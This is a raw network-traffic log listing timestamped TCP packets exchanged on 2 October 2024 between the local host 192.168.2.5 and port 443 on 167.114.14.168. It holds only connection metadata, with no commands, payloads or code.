Oct 2, 2024 06:10:21.760138035 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.760171890 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.760179996 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.760194063 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.760225058 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.760448933 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.760469913 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.760533094 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.760535002 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.760552883 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.760582924 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.760592937 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.760616064 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.760622025 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.760653019 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.760670900 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.760916948 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.760937929 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.760987997 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.760994911 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.761009932 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.761035919 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.836941004 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.836965084 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.837069035 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.837107897 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.837260008 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.837294102 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.837328911 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.837346077 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.837361097 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.837387085 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.837867975 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.837887049 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.837954998 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.837963104 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.843565941 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.848723888 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.848745108 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.848793030 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.848802090 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.848814964 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.848968029 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.848989964 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.849028111 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.849035978 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.849046946 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.849078894 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.853441954 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.853461981 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.853549004 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.853560925 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.853998899 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.854021072 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.854062080 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.854068995 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.854080915 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.854083061 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.854103088 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.854125023 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.854134083 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.854162931 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.854187012 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.925498009 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.925517082 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.925592899 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.925621986 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.925796986 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.925821066 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.925862074 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.925870895 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.925884008 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.925911903 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.926156998 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.926177025 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.926220894 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.926228046 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.927556992 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.944880962 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.944901943 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.945000887 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.945008993 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.945051908 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.945106983 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.945127010 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.945163012 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.945169926 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.945179939 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.947571993 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.954663992 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.954685926 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.954756975 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.954766035 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.954904079 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.954912901 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.954931021 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.954996109 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.955002069 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.955210924 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.955214024 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.955225945 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.955269098 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.955276966 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.955298901 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.955302954 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.955332041 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.955355883 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.014301062 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.014358997 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.014408112 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.014422894 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.014444113 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.014465094 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.014627934 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.014648914 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.014702082 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.014710903 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.014806032 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.014830112 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.014864922 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.014870882 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.014894962 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.014919996 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.033390045 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.033410072 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.033468962 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.033476114 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.033513069 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.033529997 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.033675909 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.033695936 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.033772945 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.033780098 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.034164906 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.043236971 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.043256998 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.043318987 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.043327093 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.043555975 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.043560028 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.043576002 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.043608904 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.043618917 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.043626070 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.043665886 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.043811083 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.043831110 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.043883085 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.043889999 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.044488907 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.102937937 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.102958918 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.103049040 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.103075027 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.103142023 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.103163958 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.103204012 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.103212118 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.103367090 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.103367090 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.103458881 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.103478909 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.103550911 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.103559017 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.103610992 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.122016907 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.122036934 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.122112036 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.122138023 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.122308016 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.122342110 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.122473001 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.122473001 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.122481108 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.122579098 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.131840944 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.131859064 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.131928921 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.131937027 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.132165909 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.132188082 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.132246971 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.132246971 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.132256031 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.132368088 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.132391930 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.132433891 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.132451057 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.132463932 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.134613037 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.191505909 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.191529989 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.191597939 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.191622972 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.191752911 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.191798925 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.191814899 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.191823006 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.191854000 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.191880941 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.192003965 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.192023039 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.192075014 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.192081928 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.193276882 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.211126089 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.211146116 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.211231947 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.211239100 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.211267948 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.211282969 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.211360931 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.211383104 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.211426020 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.211432934 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.211457014 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.211499929 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.227580070 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.227605104 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.227648973 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.227657080 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.227680922 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.227694035 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.227816105 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.227830887 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.227871895 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.227879047 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.227895975 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.228082895 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.228106022 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.228142023 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.228149891 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.228166103 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.228194952 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.281469107 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.281516075 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.281589031 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.281608105 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.281632900 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.281651974 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.281713963 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.281730890 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.281791925 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.281797886 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.281915903 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.281933069 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.281948090 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.281997919 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.282004118 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.282098055 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.299654007 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.299693108 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.299822092 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.299856901 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.299866915 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.299896955 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.299935102 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.316381931 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.316406012 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.316502094 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.316514015 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.316566944 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.316595078 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.316729069 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.316729069 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.316736937 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.316749096 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.316781044 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.316797018 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.316806078 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.316828012 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.316854954 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.369993925 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.370023012 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.370093107 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.370119095 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.370136976 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.370275021 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.370275021 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.370388985 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.370403051 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.370470047 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.370477915 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.388183117 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.388242006 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.388262987 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.388272047 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.388324976 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.388339996 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.388430119 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.388430119 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.388441086 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.405114889 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.405178070 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.405325890 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.405368090 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.405420065 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.405445099 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.405488968 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.405505896 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.405530930 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.405535936 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.405555010 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.405606031 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.405627966 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.405642986 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.458785057 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.458810091 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.459043026 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.459065914 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.459086895 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.459110022 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.459150076 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.459161997 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.459173918 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.459202051 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.476706982 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.476732016 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.476824999 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.476840973 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.477039099 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.477082968 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.477114916 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.477221966 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.477221966 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.477230072 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.477258921 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.477581024 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.477595091 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.477663994 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.477672100 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.493793011 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.493839025 CEST	443	49715	167.114.14.168	192.168.2.5
